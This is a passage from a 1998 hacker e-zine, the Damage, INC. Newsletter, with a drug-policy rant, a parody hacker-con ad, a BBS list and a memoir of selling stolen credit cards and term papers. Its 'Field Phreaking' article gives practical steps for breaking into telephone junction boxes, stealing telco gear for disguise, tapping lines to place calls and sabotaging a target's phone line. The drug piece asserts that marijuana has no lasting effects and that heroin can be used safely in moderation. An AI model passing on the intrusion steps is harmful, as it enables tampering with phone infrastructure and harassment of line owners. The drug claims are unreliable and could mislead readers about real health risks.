customers' investments. As banks become bigger, they become even more conceited
|
||
and socially irresponsible. And as Big Brother, the banks, and other greedy
|
||
corporations form a cashless, electronic financial system, they'll be able to
|
||
sell their own electronic legal tender. In my opinion, being able to create and
|
||
distribute their own "currency" won't be enough. All of the money in the world
|
||
couldn't satisfy the greed of those fat cats.
|
||
|
||
--- Written by THC Phreak. ---
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DRUGS DISCUSSION - {DRUGS}
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Public Propaganda Service Announcements:
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In the last issue of the Damage, INC. Newsletter I mentioned a commercial with
|
||
a good looking chick that tries to convince people not to use heroin. Well,
|
||
it seems as though Big Brother has stepped up its efforts to brainwash people.
|
||
However, their focus seems to be on marijuana more than anything else. In
|
||
fact, they want people to believe that "marijuana=evil". The emphasis is
|
||
definitely on marijuana now in their recent drug campaign. That is why I'm
|
||
writing this article, to educate and inform people about it. I'm sick of
|
||
seeing misinformation spread about marijuana and how it has permanent effects.
|
||
That's false. It doesn't have any lasting side effects at all... but Clinton
|
||
and the U.S. Government spend millions of dollars on commercials that either
|
||
lie or don't give people all of the facts. They're meant to brainwash people,
|
||
especially kids. That's their ultimate goal... and that is what should be
|
||
fought against. Let's get to the root of what they're attempting to do. They
|
||
want the anti-marijuana television commercials to influence zombies (which by
|
||
the way is not a difficult task) until they've been brainwashed into thinking
|
||
that marijuana is an extremely harmful substance. If they can make people
|
||
believe that it's evil, that's even better. It's more than psychology, it is
|
||
in fact zombiology. Hopefully that makes sense to you. If you don't question
|
||
what they tell you to believe concerning marijuana, then you are a zombie.
|
||
That's not an insult, it's just the unavoidable truth.
|
||
|
||
Television Commercials and Comments:
|
||
-----------------------------------
|
||
|
||
"Another missed opportunity to talk with your child about marijuana."
|
||
|
||
Now that one is a real classic. The commercial shows a black man and his son
|
||
sitting at the kitchen table eating cereal. (They're trying to appeal to
|
||
all races and reach them by creating multi-racial commercials. Excellent
|
||
tactic.) However, it won't fool me and shouldn't work on anyone that is
|
||
intelligent. There are *much* bigger problems that parents should discuss with
|
||
their children. For example, is sniffing paint harmful? Is AIDS deadly?
|
||
Can smoking crack kill you? What about guns and kids? Can that be a lethal
|
||
combination? Shouldn't young children be educated about other things? As in,
|
||
shouldn't they be warned not to talk to strangers since there are literally
|
||
thousands abducted yearly in the United States? That's just an example of
|
||
something that they could be teaching. In my opinion, they spend/waste too many
|
||
dollars trying to combat things such as marijuana that are harmless. They try
|
||
to make it into such a "big problem", yet it's natural. There's no other word
|
||
to describe a plant that grows naturally... and has for millions of years before
|
||
man ever walked this earth. If marijuana is so wrong and shouldn't be used,
|
||
then why does it exist in nature? Can a plant really be deemed 'evil'? Haha.
|
||
|
||
"Heroin -- Dying is the easy part."
|
||
|
||
I don't necessarily disagree with the commercial that has that statement.
|
||
However, I'm not telling anyone to try heroin... or not to try it. That's
|
||
your own choice. The only thing is that they insinuate that heroin use leads
|
||
to death. That simply isn't so. Sometimes people die due to using heroin.
|
||
That's true... but not everyone does. Not everyone becomes a junkie. Some
|
||
people can experiment with something in moderation without using it continually
|
||
and becoming addicted. So, I feel that commercials such as that generalize
|
||
a lot as well as stereotype people that've used it before.
|
||
|
||
Then there's the one that shows kids in the suburbs. One skateboards down the
|
||
sidewalk and meets his friend to smoke some weed. It's so realistic. They
|
||
light up a joint while sitting behind a bush on the lawn. The 'message' they
|
||
give is a really lame statistic "40% of kids that smoke marijuana live in
|
||
urban areas. Guess where the other 60% live." What a potent statement. Now
|
||
only if marijuana that potent were readily available. ;)
|
||
|
||
The one that I laughed at most is the commercial that shows band members of
|
||
KISS. They talk about how they've done just about 'everything'. Meaning,
|
||
they were very active drug users. Yet, it seemed to be geared towards stopping
|
||
people from smoking marijuana. It's as though they're saying that it's the
|
||
worst substance to use. That is what is so laughable. It makes absolutely
|
||
no sense. Is that the message they want sent?
|
||
|
||
Obviously, Damage, INC. is just a small voice in comparison to the huge
|
||
government propaganda machine... that is willing to spend millions of dollars
|
||
to churn out these Public Propaganda Service Announcements. They can recruit
|
||
former drug addicts, athletes, celebrities etc. to read the scripts that they
|
||
hand them. Indeed, their resources are almost limitless. Yet, I feel that
|
||
perhaps articles such as this will have an impact on people. That is, the
|
||
ones that question what they're being told to believe and aren't just naive
|
||
little zombies... that are begging to be brainwashed.
|
||
|
||
Written by BLACKENED ú Damage, INC. (C)opyright 1998.
|
||
|
||
|
||
H/P INFORMATION AND NEWS - {H/P}
|
||
|
||
|
||
-------------------------------------------------------------------------------
|
||
Field Phreaking:
|
||
Junction Boxes
|
||
-------------------------------------------------------------------------------
|
||
|
||
If you want to find some junction boxes, then drive around during the day with
|
||
a friend and look for large brown, grey and green metal Bell boxes. You'll
|
||
probably see some smaller (thinner) boxes as well. Those are TV cable boxes
|
||
and they're usually used in small towns and rural areas. You should be
|
||
scouting for a location of a box that's not in an open, visible, obvious area.
|
||
Use a pen and a paper to log the street names and specific area of the boxes
|
||
that you find. Avoid boxes in busy areas, like downtown streets in a city.
|
||
Most of your searching should take place on roads that start in the city and
|
||
lead you out into the country. Basically, look carefully in subdivisions
|
||
that are being built close to the city limits.
|
||
|
||
Be observant and get to know the area that you're scouting well. Take note of
|
||
bike paths, parks and any undeveloped areas. In other words, plan an escape
|
||
route just in case you are boxing and need to run. Just make sure the telephone
|
||
lines have already been connected in a new housing development. :) Otherwise,
|
||
the junction box won't be useful to you right away.
|
||
|
||
Now that you've found a junction box or two that you feel is safe and are
|
||
comfortable in using, you'll need to know what clothing to wear when you return
|
||
later at night. First, wear your trashing clothes (dirty, old blue jeans,
|
||
a T-shirt and steel toe work boots). Bring a backpack with you and carry your
|
||
tools, Bell helmet etc. in it. Obviously, if you have Bell helmet and a shirt
|
||
with the Bell logo on it, wear them once you're at the box. Those can be
|
||
obtained from Bell vans quite easily, if you know what you're doing. Sometimes
|
||
Bell helmets etc. are left in switching stations too. Or you can check your
|
||
local Bell CO -- the cars, vans and trucks that are parked there for them.
|
||
However, it's totally up to you whether or not you want to steal items such as
|
||
those, but having them on makes you look less conspicuous. That is, if you
|
||
don't look like a little teenager trying to impersonate an old Bell linesman.
|
||
<G> If you're at a junction box and a telco van is driving by, looks in your
|
||
direction and stops then grab your backpack and run.
|
||
|
||
Since not all junction boxes are the same, be prepared to bring along quite a
|
||
few things with you. You'll need the following tools:
|
||
|
||
BiC lighter (optional)
|
||
Cigarettes (optional)
|
||
Codes - local or 1-800 ANI (optional)
|
||
Diverter box(es) (optional)
|
||
Laptop (optional)
|
||
Voltmeter (optional)
|
||
Small Mag-lite flashlight
|
||
Medium flashlight
|
||
Pen
|
||
Scotch tape
|
||
Small needle nosed pliers
|
||
Larger pliers with a wire cutter/stripper for various gauges of wire.
|
||
Screw drivers (flat head, #1 and #2 Phillips)
|
||
Case cutter, utility knife or a very sharp pocket knife
|
||
Small can of WD-40 (just in case any bolts are rusted)
|
||
Adjustable wrench
|
||
Ratchet and various sockets (bring a small case)
|
||
Lineman's handset (or a beige box with small and medium sized alligator clips)
|
||
|
||
Gather, organize and store all of the above items in your backpack before you
|
||
go out junction boxing. If you don't have a lineman's handset or a beige box,
|
||
then make one. Beige box plans can be downloaded from any h/p board.
|
||
|
||
Using the junction box:
|
||
----------------------
|
||
|
||
Okay, you're standing in front of your victim junction box. Get out your
|
||
ratchet and socket set. In order to open the lock, take the appropriate
|
||
socket (whatever one that fits. Try a 3/8" socket first) and turn the bolt.
|
||
If it's rusted, spray some WD-40 on it and wait about 10 seconds until it
|
||
has had time to loosen it. Once the box is finally open, look around inside
|
||
of it. You'll see many terminals aligned in columns. The screw terminals
|
||
should be colored. At the top of them, you should see a label for Ring (R)
|
||
and Tip (T). The color red indicates Ring and white is Tip. If there's any
|
||
loose wire, tools, Bell manuals, documents, etc. inside of the box then put it
|
||
all into your backpack. You can examine it all once you get home. If there's
|
||
anything written on the inside of the box, write it down on the inside cover of
|
||
your cigarette pack. :) Sometimes you can find some Bell numbers, codes etc.
|
||
that way. If you're lucky, you may even find a lineman's handset left sitting
|
||
there. Now connect your lineman's handset (or your beige box) to the terminals
|
||
that correspond to your box. (Red to Red and White to White). You'll hear a
|
||
dial tone. If that doesn't work, try the reverse connection. If that doesn't
|
||
work, then you're a complete moron that doesn't know how to connect clips to
|
||
terminals properly. In that case, return home and try to figure out what you
|
||
did wrong.
|
||
|
||
Start at the top and work your way down. Dial a local ANI for your NPA, or use
|
||
a 1-800 ANI that you know the number of. Record the number that it reports to
|
||
you. Repeat the process until you've written down 5-10 numbers for terminals.
|
||
If the ANI you're using reports the number of ports etc. you can write that down
|
||
as well if you want. I'm sure you can figure out why you might want to have
|
||
those numbers after you have returned home. :) Or, if you find the (R)ing
|
||
and (T)ip terminals of an enemy, you can fuck around with their line. You can
|
||
disconnect it, or connect a wire between the (R) and (T) which will act just
|
||
like a busy box. Their line will be busy 24/7 until that's removed. Or you
|
||
could connect a diverter box to their line once you have the number.
|
||
|
||
However, you shouldn't do anything like that if you plan on going back to that
|
||
same junction box again and again. As in, if you want that box for long term
|
||
use, don't fuck around and change everything. After the person calls Bell,
|
||
they'll eventually find out that the box has been tampered with and it will no
|
||
longer be safe to junction box from there. If you want to know if a telco
|
||
employee has been there, put a piece of transparent Scotch tape on the outside
|
||
of the door when the box is closed. That way, if the door is opened the tape
|
||
won't be attached anymore. Then you'll know that someone else has been in it.
|
||
If that happens, avoid using that box again. Most likely it'll be watched.
|
||
Plus, anything that you did in the box (altered/modified) will have been changed
|
||
back to the way that it originally was. So, if you connected any boxes to
|
||
terminals, Bell would have them all. The best advice I can give you is to make
|
||
sure the box is properly closed and doesn't look like it's been broken into.
|
||
|
||
Obviously, there are many interesting things that you can do with junction
|
||
boxes, such as setting up conferences, scanning ld exchanges, hacking systems,
|
||
hacking codes, dialing ld h/p boards etc. It can be a lot of phun if you have a
|
||
laptop and a modem with you. :) I'll explain setting up conferences and some
|
||
other things that can be done while field phreaking in a future article.
|
||
|
||
Written by Blackie Lawless ú Damage, INC. (C)opyright 1998.
|
||
|
||
|
||
~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE
|
||
^^^CON^^^CON^^^CON^^^CON^^^CON^^^CON^^^CON^^^CON^^^CON^^^CON^^^CON^^^CON^^^CON
|
||
~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE
|
||
------------------------------------------------------------------------------
|
||
FAKE CON '98
|
||
------------------------------------------------------------------------------
|
||
~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE
|
||
^^^CON^^^CON^^^CON^^^CON^^^CON^^^CON^^^CON^^^CON^^^CON^^^CON^^^CON^^^CON^^^CON
|
||
~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE
|
||
|
||
|
||
>What the hell is FAKE CON '98? It's a new h/p CON. Why? Why not! Not all
|
||
Hacker CONS have to take place in the United States and European countries.
|
||
It's going to be a big event held yearly in the Montreal, Quebec area. Yes,
|
||
Canada's first real Hacker CON. =) It will be a festival type of atmosphere
|
||
and everyone is invited, from novices to the advanced and ph34r3d hackers.
|
||
It's going to be the biggest bash of '98. Ph3ar FAKE CON. Just don't miss it!
|
||
|
||
|
||
>Founder/Spokesperson/Organizer: The Phak3r.
|
||
|
||
|
||
>Info: For more information, call 1-800-325-3266 after 11pm PT. Again, that's
|
||
1-800-FAKE-CON. You can also visit: www.cons.com/~fakecon and get info, maps
|
||
etc. from the site.
|
||
|
||
|
||
>When: August 21st, 1998. The CON starts at 1:00pm after everyone has checked
|
||
into the hotel. It ends Sunday, August 23rd. Friday-Sunday. 3 whole days of
|
||
phun for all that choose to attend.
|
||
|
||
|
||
>Where: Montreal, Quebec, Canada. NPA 514. The CON takes place at the
|
||
Best Western hotel in downtown Montreal on Rival street near the big blue
|
||
building. If you've never been to Montreal before, just call and ask us
|
||
for directions.
|
||
|
||
|
||
>Speakers: Harry Hax0r, Ozzy 0z, Pete Phr33-K, Jeff "l33t" Shatz, *nixme<6D>ster,
|
||
Thomas Nilson (security), Mark Fried (telco d00d), Social Mistake, Gaukelzgeek,
|
||
Da Shad0man, L0-Leper, Sourcer#1, W4âîz G<>4r³), th3 gr3atful dump, á0xmaï,
|
||
Philezerý, Tw3rpie, Eternal Blahness and The (h34pL0rD.
|
||
|
||
|
||
>Activities: Hacking, Phreaking, Trashing, Contests, Draws, Hax0r hunting,
|
||
Conferences, Movies, lots of hardcore Partying and much much more. If you
|
||
become bored, there's always the Montreal bar scene within walking distance.
|
||
There's also a casino nearby, pool halls and a couple of strip clubs.
|
||
|
||
|
||
>Prizes: Win a P][ 233 MMX laptop system one of two ways. Hack the password or
|
||
decrypt the special message and read it out loud in front of everyone. Second
|
||
prize is a USR 56K x2 external modem. The modem will be raffled off, so
|
||
whoever is lucky enough to have their ballot drawn will take home a nice
|
||
FAKE CON '98 parting gift.
|
||
|
||
|
||
>Admission: $5.00 admission into the CON plus the cost of the hotel, food,
|
||
beer, drugs etc. That includes full access to the network that we've setup,
|
||
permits you to attend every speaker conference and allows you to hang out
|
||
with all of the cool people. That fee does not cover any damages caused by
|
||
you, bail money etc. You're responsible for bringing extra funds for those
|
||
costs, if you're into destroying hotel rooms, ripping off shit etc.
|
||
|
||
|
||
Merchandise for sale:
|
||
--------------------
|
||
|
||
T-Shirts - Large and XL sizes only. Black, White and Black & White quality
|
||
Hayes cotton shirts. The front has a small exploding Bell Canada logo on
|
||
the top left side. The back has a very large logo that reads "I survived
|
||
FAKE CON '98" with the words "Phrench Phreaks Rule!" underneath. The alternate
|
||
shirt (Black & White) is the same except it reads "Ph34r Me D00d" under the
|
||
FAKE CON '98 logo. Cost: $20 Canadian. Trust me, the shirts look kewl. The
|
||
quantity is limited to 200 shirts though. So, buy 'em before they're all gone.
|
||
|
||
Movies - Vendors will be selling a wide assortment of Anarchy, Trashing and
|
||
Hacking movies. Prices vary from $10 to $20. Some of them are Jerry Springer
|
||
style low budget movies. I've viewed some of the footage already, and it's
|
||
simply hilarious. Rated 4 stars and two thumbs up by Cisco and Egghead Co.
|
||
|
||
Comics, Tattoos - Many varieties will be sold. The comic books are real. The
|
||
tattoos are just the temporary, fake ones though. =) The latest FAKEware
|
||
will be sold. FAKE and Ph3ar3d!
|
||
|
||
Buttons, Stickers, Baseball Caps - They have many variations of the FAKE CON
|
||
logo on them. There are also buttons and stickers with the Bell logo crossed
|
||
out etc. Impress your friends and school buddies. Cost: $2 for the stickers,
|
||
$4-$5 for the buttons, $15 for the Baseball Caps. All prices listed are in
|
||
worthless Canadian dollars. The caps aren't Starter (TM) but they look good.
|
||
|
||
Box Plans - We're featuring the FUBAR '98 box. Full schematics are included.
|
||
It's the 'ultimate revenge' box for the malicious h/per. After you've built
|
||
it, simply connect the box to the victim's line. Then go to a pay phone,
|
||
dial their number, enter the activation code and listen to their Bell phones
|
||
explode as they're saying "Hello? Hello?" =) Cost of photo copies: FREE.
|
||
|
||
--- Written by THC Phreak ---
|
||
|
||
|
||
ú - NEWS - ú
|
||
|
||
Several established boards have become Damage, INC. Distribution Sites since
|
||
issue #9 was released. They are as follows:
|
||
|
||
Infinite Darkness - Florida, USA - (954) 797-0666
|
||
Sysop: Midnight Sorrow
|
||
|
||
T's BBS - Saskatchewan, CAN - (306) 384-1600
|
||
Sysop: Mister T
|
||
|
||
OBLiViO - Yugoslavia - +381-11-318-6392
|
||
Sysop: Sagittarius
|
||
|
||
ViCKY BBS - Slovakia - +421-7-596-8331
|
||
Sysop: Boomer
|
||
|
||
There will be more Damage, INC. Dist. Sites added soon, as I've been contacting
|
||
a number of Sysops. If you run a quality board and would like to distribute
|
||
the Damage, INC. Newsletter in your area, contact us at damage_inc@mailcity.com.
|
||
|
||
|
||
INTERVIEWS AND INTERROGATIONS - {INTERVIEWS}
|
||
|
||
|
||
THE STORY OF MIDNIGHT SORROW
|
||
(In case you were wondering)
|
||
|
||
By Mitchel Waas, aka Midnight Sorrow
|
||
|
||
-------------------------------------------------------------------------------
|
||
|
||
One dark, gloomy, and utterly foreboding day back in 1968, a hellish fiend
|
||
was born. Some called him 'Mitch', a truly ridiculous moniker for such a
|
||
righteous dude [Sorry. This text was created shortly after the release of Bill
|
||
& Ted's Excellent Adventure and Ferris Bueller's Day Off. I talked this way.],
|
||
but one name, and one name only, stuck in his brain. MIDNIGHT SORROW.
|
||
|
||
At this point, you are surely wondering, what the hell is this guy talking
|
||
about? Well, simply put, here is my story: [As if you actually gave a fuck.]
|
||
|
||
-------------------------------------------------------------------------------
|
||
|
||
Back in August of 1983, young Midnight Sorrow was a bumbling, drooling,
|
||
hopeless dork. He had no life, no direction, no goals, he was basically the
|
||
same as virtually every other high school sophomore. So he decided, "I am
|
||
going to find something good. Something worthwhile. Something ILLEGAL!"
|
||
[Well, not really, but literary license being what it is...] So he began
|
||
watching all the computer dorks programming, doing schoolwork, and most of all,
|
||
playing computer games on the Apple IIe's in the school library.
|
||
|
||
"Hmm...this has potential!" thought Midnight to himself. So, after a good
|
||
month or so of acquainting himself with the other computer dweebs, he
|
||
insinuated himself in front of one of the Apples. Disk in drive, he started
|
||
playing Hard Hat Mack. "Wowee, this is great! Gotta get one of these! NOW!"
|
||
|
||
[Note: The time frame MUST be radically off, here - I remember playing with a
|
||
friend's Apple I back in 1980, while I was still at Pioneer Middle School
|
||
(Junior high). Who knows - fourteen metric tons of marijuana and six hundred
|
||
and eighty thousand gallons of liquor which I imbibed during my tenure at FSU
|
||
can do that to a person.]
|
||
|
||
Sprinting home at a most frightful pace, Midnight got home, only to find
|
||
his father in a particularly hideously awfully bad mood. "Dad, dad DAD! Ya
|
||
gotta get me a computer! Ya gotta! Cmon pleez!" "Yeah son, sure, fuck off.
|
||
How about a new game for your Atari?" (Midnight had one of those incredible
|
||
marvels of Japanese technology, the Atari 2600. He thought it was a piece of
|
||
shit.) "No dad, I *GOTTA* get me one of those Apples! They're too cool!"
|
||
|
||
After a good three to four solid hours (well minutes, actually) of
|
||
haggling with his father, he convinced him to get him a computer. On his
|
||
birthday. In July.
|
||
|
||
On his birthday, eleven extremely agonizing months later, Midnight Sorrow
|
||
and father went off to the nearest Toys R Us [the computer and technology
|
||
haven that it is] to try and find a worthy system. Midnight Sorrow, being the
|
||
slightly spoiled, but highly imaginative young soul that he was, was thinking
|
||
along the lines of an Apple IIe, with dual floppy drives, possibly a hard
|
||
drive, with around a thousand blank disks for copying. Mr. Sorrow (Midnight's
|
||
father) had something altogether else in mind. He bought Midnight .... (drum
|
||
roll please) a COMMODORE 64! (with Tape drive yet, not even a disk drive!)
|
||
|
||
....FADE FORWARD A COUPLE SIXTEEN MONTHS....
|
||
|
||
It is now November, 1985. Midnight Sorrow now has a Commodore 64, TWO
|
||
1541 disk drives, over four hundred FILLED disks [gosh]; an altogether very
|
||
adequate system. However, he still remained unfulfilled. Talking with the
|
||
other computer folks in school, he came to the conclusion that the Commodore
|
||
was the wrong way to go. Sure, there were pirates all OVER the place, and
|
||
there were games for it up the ass. But it wasn't the greatest. He needed an
|
||
IBM. But what could he do? He had no job, no money, and only a miserable $5
|
||
a week allowance. So he suffered with the knowledge that he was fucked,
|
||
doomed to use the Commodore 64 until he died of old age. [or got a job,
|
||
whichever came first]
|
||
|
||
....FADE FORWARD SEVEN MORE MONTHS....
|
||
|
||
Early June, 1986. Midnight Sorrow now has a Commodore 64, a Commodore
|
||
64C, a Commodore 128, two one megabyte disk drives (quite a treat on the
|
||
Commodore, since most games were less than 64k), four 1541 disk drives, a 1200
|
||
baud modem!!, and around one thousand filled disks. He was now heavily into
|
||
the illegal sector of Commodore use. He had friends all over the United
|
||
States, through which contact was made possible by the use of other people's
|
||
MCI, Sprint, and Teltec calling-card access codes. His entire system was made
|
||
possible by the use of other people's MasterCard, Visa, and American Express
|
||
numbers. He was truly enjoying life. However, he was only weeks from
|
||
graduating high school. His parents expected him to go out of town, attend
|
||
Florida State University, get a nice shiny degree [in Molecular Biophysics,
|
||
nonetheless], get married, have three or four kids, and die a horribly wealthy
|
||
man. Midnight Sorrow, ever the impetuous youth, said "FUCK THAT!" So he
|
||
decided to go to FSU, become a school hero of dubious notoriety, while at the
|
||
same time becoming the disgrace of his family. (Well, he didn't really plan
|
||
it that way, that's just the way it turned out). "Oh well, I gotta goto
|
||
college, I guess I'll bring my computer there, it'll probably help out with my
|
||
term papers and everything," innocently thought Midnight Sorrow.
|
||
|
||
....FADE FORWARD THREE MONTHS....
|
||
|
||
September, 1986. Midnight Sorrow is now at FSU. He has been rather
|
||
halfheartedly attending his classes, instead preferring to stay at his dorm
|
||
room in Osceola Hall, and party his ass off. Last month, seeing that the
|
||
monthly contribution from his parents was definitely not going to cut it,
|
||
Midnight Sorrow decided to make a few extra bucks. He was now running a highly
|
||
profitable, very busy and successfultyping service. If you are currently
|
||
going to college, you will know the extreme number of term papers you have to
|
||
write. One or two a week, many as long as 3000-5000 words. All typed. Not
|
||
fun, even if you DO know how to type. Most typing services charge around $2-$4
|
||
per typed page. Midnight charged $1 a page. His typing service was a bonafide
|
||
hit, and everyone was coming to him to get their papers typed. One fateful
|
||
day, a young fratboy came to Midnight's dorm room. "Hey guy, wussup, hey man,
|
||
you got any papers for sale?" "FUCK YOU! Fuck off! Get the fuck outta my room
|
||
ya stupid piece of shit! Ya think I wanna get kicked out of school!?"
|
||
innocently replied Midnight Sorrow, not even aware of the idea already brewing
|
||
in the darkly malevolent depths of his subconscious....
|
||
|
||
It may not be very obvious to you, but it [eventually] was to him. Every
|
||
paper he typed, he saved on disk, in case the original paper's owner wanted
|
||
another copy or had some changes, or something. By this point, he had close to
|
||
two hundred assorted term papers filed away on disk. After a week of some very
|
||
serious thinking, Midnight Sorrow decided to contact that fratguy and give him
|
||
an affirmative answer.
|
||
|
||
....SKIP FORWARD ONE MONTH....
|
||
|
||
Midnight Sorrow's room now seems to be the source of some truly extreme
|
||
moneymaking. Stereo and computer equipment everywhere, and a rather large
|
||
record and compact disc collection seems to have sprung up out of nowhere. He
|
||
has now decided to quit class, and work at his "JOB" full-time. He would
|
||
still get the occasional person wanting their paper typed, but his largest mode
|
||
of moneymaking was from the THER type of student. The desperate, I'm-about-
|
||
to-fail-my-fuckin-class-damnit-I'll-pay-ANYTHING!!!, type of student. "Sure
|
||
buddy, not a problem. $10 dollars per hundred words." And of course, a semi-
|
||
wealthy, parent-financed student (of which there are MANY at FSU), who's right
|
||
on the verge of flunking out of English 101, is often quite willing (and eager)
|
||
to shell out $300 for an A-quality term paper (Midnight Sorrow, you see, is
|
||
OUTSTANDING in English. It is far and away his best subject. Once he'd typed
|
||
a paper in, he went in and revised it, correcting grammar and other minutia,
|
||
making it pretty damn close to "A" quality.)
|
||
|
||
"So, what the hell did this stupid fuck do with all the money?" you are
|
||
surely asking yourself. Well, aside from the extreme quantity of CD's, disks
|
||
and electronic equipment he bought for himself, Midnight Sorrow was also the
|
||
'PARTY MAN' of Osceola Hall. He generally found himself the kind benefactor of
|
||
many an all-night party, often buying several cases of wine coolers, a few
|
||
pizzas, and a keg or two a night. Midnight Sorrow happily went around in an
|
||
extreme drunken stupor for the last three months of his first college semester.
|
||
Due to this, his judgment obviously wasn't exactly up to par. [Gotta love the
|
||
foreshadowing, eh?]
|
||
|
||
...SKIP FORWARD TO DECEMBER 10, 1986....
|
||
|
||
"Son, do you realize the problems you have caused? You have sold EIGHT
|
||
copies of the EXACT SAME TERM PAPER to students in the same class! And god
|
||
only knows how many other copies of that paper are wandering around campus!
|
||
What do you have to say for yourself?!?" angrily queried the Dean of
|
||
something-or-other, head of a hastily-convened board regarding this most
|
||
devious miscreant, Midnight Sorrow.
|
||
|
||
"Uhh, umm, err, well, y'see, umm...", replied Midnight Sorrow rather
|
||
eloquently, still hazing-n-dazing around through the depths of a most gigantic
|
||
hangover. Needless to say, they presented him with an ultimatum: Get the
|
||
fuck out of FSU, and never return, and we won't press charges. He left.
|
||
|
||
...SKIP FORWARD TO CHRISTMAS EVE, 1986...
|
||
|
||
Midnight Sorrow's parents still have no inkling of what their delightful
|
||
son has been up to for the past four months. They think that he is on
|
||
'Christmas Break,' and will be returning to college in three weeks. Well,
|
||
that's what they thought. Until today. See Midnight Sorrow's father, a rather
|
||
hulking mass of 265 pounds, all of six foot four, come smashing through the
|
||
front door. "OK you stupid shit, talk to me!" calmly said Midnight's father,
|
||
as he cheerfully pinned his son to the wall one foot off the floor. "How could
|
||
you do this to me! I'm a respected businessman in this town! You're going to
|
||
ruin EVERYTHING!"
|
||
|
||
Needless to say, Midnight Sorrow neglected to remember a minor detail:
|
||
One of his sisters lives in Tallahassee, the location of FSU. She and her
|
||
husband are both extremely die-hard FSU fanatics, and alumni. Her husband's
|
||
father just happens to be the Dean of the Mathematics department at FSU.
|
||
Although he is seventy-two, and he wears a hearing aid, he just happened to be
|
||
at a faculty party, when a conversation trickled around about this consummately
|
||
evil student who sold countless copies of term papers at FSU, and the
|
||
neighboring TCC (Tallahassee Community College, bonehead). Being the curious
|
||
old fuck that he is, he asked for the student's name. And of course, he then
|
||
called his son, his son called his wife, his wife called her father, and her
|
||
father came crashing through his own front door, seriously contemplating
|
||
murder.
|
||
|
||
Due to the extensive rumor-mongering and idle chatter regarding the
|
||
incident, a goodly amount of publicity was aroused. The FSU school paper
|
||
printed a front page story relating the entire incident, in extreme, gory
|
||
detail. The local newspaper, the Tallahassee Democrat, picked up this story
|
||
and ran a sub-headline on the bottom of page one.
|
||
|
||
Then, that rather large news organization, Reuters, picked up the story.
|
||
The New York Times, The Miami Herald, th Boston Globe, the San Francisco
|
||
Chronicle, and pretty much every major news forum from here to Upper Mongolia
|
||
ran a little story about that hideous abortion of society, Midnight Sorrow,
|
||
and his devilish deeds at Florida State. For obvious reasons, the school
|
||
board of FSU reneged on their verbal promise not to press charges, and pressed
|
||
charges.
|
||
|
||
Wrapping up this dandy situation, Midnight Sorrow eventually ended up
|
||
having to serve 120 hours of communiy service, by re-shelving books at a local
|
||
branch of the Broward County Library. End of story. All's well that ends
|
||
well, all has been forgotten, so now Midnight Sorrow can live long and prosper,
|
||
get a job, get wealthy, get married, have kids, and live happily ever after.
|
||
|
||
Nope, sorry, not quite.
|
||
|
||
....SLIDE FORWARD ANOTHER SIX MONTHS....
|
||
|
||
July, 1987. Midnight Sorrow has gotten rid of his Commodore 64, and
|
||
taken a little defective IBM-PC from his job as a computer repair technician's
|
||
assistant [at Inacomp Computer Centers, Broward Boulevard in Plantation, long
|
||
since closed down and turned into a Blockbuster Video]. Due to his connections
|
||
at work, he was able to purchase a refurbished 330-meg hard drive for around
|
||
$150. He also purchased a rather complete system, enabling him to enter the
|
||
crime world of the IBM. He found this to be quite a bit more fun than the
|
||
dweebish lamer community surrounding the Commodore, and thus found himself
|
||
operating a highly-illegal BBS called Deth Dunzhen (Pronounced, perhaps
|
||
un-obviously, "Death Dungeon." The reason for the spelling? Who knows).
|
||
|
||
Having just acquired a wonderful set of fifty sparkling credit card
|
||
numbers [credit card numbers, sometimes even entire credit HISTORIES, being as
|
||
easy to obtain as water in the computer crime scene of the mid-eighties], he
|
||
decided to go about attempting to sell them. He then posted a message,
|
||
accessible only to the "Highest Elite" members of his system (typically only
|
||
friends and close acquaintances), informing them of this fact. Unbeknownst to
|
||
him, his Co-Sysop was seriously unhappy with Midnight Sorrow's participation in
|
||
these highly illegal areas. Due to this fact, his Co-Sysop then called up
|
||
Crimestoppers and told them of Midnight Sorrow's heinously anti-social
|
||
activities. Crimestoppers then notified the Secret Service, who, at that
|
||
moment, just happened to be conducting an investigation into the South Florida
|
||
computer crime scene.
|
||
|
||
Midnight's Co-Sysop then called up his board, downloaded the message, and
|
||
gave it to the Secret Service. One of their agents, at that point, logged onto
|
||
the system, saying that SHE heard about the credit cards from the co-sysop, and
|
||
was interested in purchasing. Sticking his entire foot in his mouth, and
|
||
showing absolute, complete, blind faith in that traitorous cocksucking bastard,
|
||
Midnight agreed to meet her, at a local Burger King, that Saturday.
|
||
|
||
Seeing how seriously hot this girl was, Midnight Sorrow salivaically
|
||
overlooked his typical procedure of asking if she was a cop, fed, or a narc,
|
||
and simply wondered if he could get into her pants. Stupid. He then gave her
|
||
ten credit card numbers, selling them for $50 each. Exceedingly happy that
|
||
that scheme worked, Midnight Bonehead then went out and bought a pair of
|
||
Vuarnet sunglasses, twenty new CDs, and quite a bit of good computer hardware.
|
||
|
||
Two days later, she called him back, saying how great those numbers were,
|
||
commenting on how they actually worked. She said she wanted to order some
|
||
major computer equipment, and asked if he knew of any place that took fake card
|
||
info without too much of a hassle. Midnight then said "Sure!" and gave her the
|
||
numbers of a few places that he had recently ordered from.
|
||
|
||
Then she asked if it was possible to sell her some more numbers, meeting
|
||
the next Saturday, at the same Burger King. Of course, he mindlessly said
|
||
"Sure!", thinking to himself that he sure had a live one. She was probably
|
||
thinking the exact same thing.
|
||
|
||
Next Saturda, Midnight's parents were out of town, so he figured it'd be
|
||
a perfect weekend to smuggle large quantities of cash and computer equipment
|
||
into his room. Once at the appointed "rendezvous", he then told her that he'd
|
||
be glad to sell her twenty more credit card numbers, but for $75 each. She
|
||
said no problem, took the numbers, and slapped a pair of handcuffs on his
|
||
wrists. Taking out a tape recorder, and laughing at Midnight's splendidly overt
|
||
stupidity, she read him his rights. Making things even more hideous and
|
||
embarrassing, two cars slid in on each side of his car, and another pulled in
|
||
behind it, totally blocking him in, looking like something out of "Wargames".
|
||
|
||
He was fucked.
|
||
|
||
The feds then ripped Midnight out of his car, slammed him up against the
|
||
trunk, and frisked him rather unkindly. They then unlocked the handcuffs, put
|
||
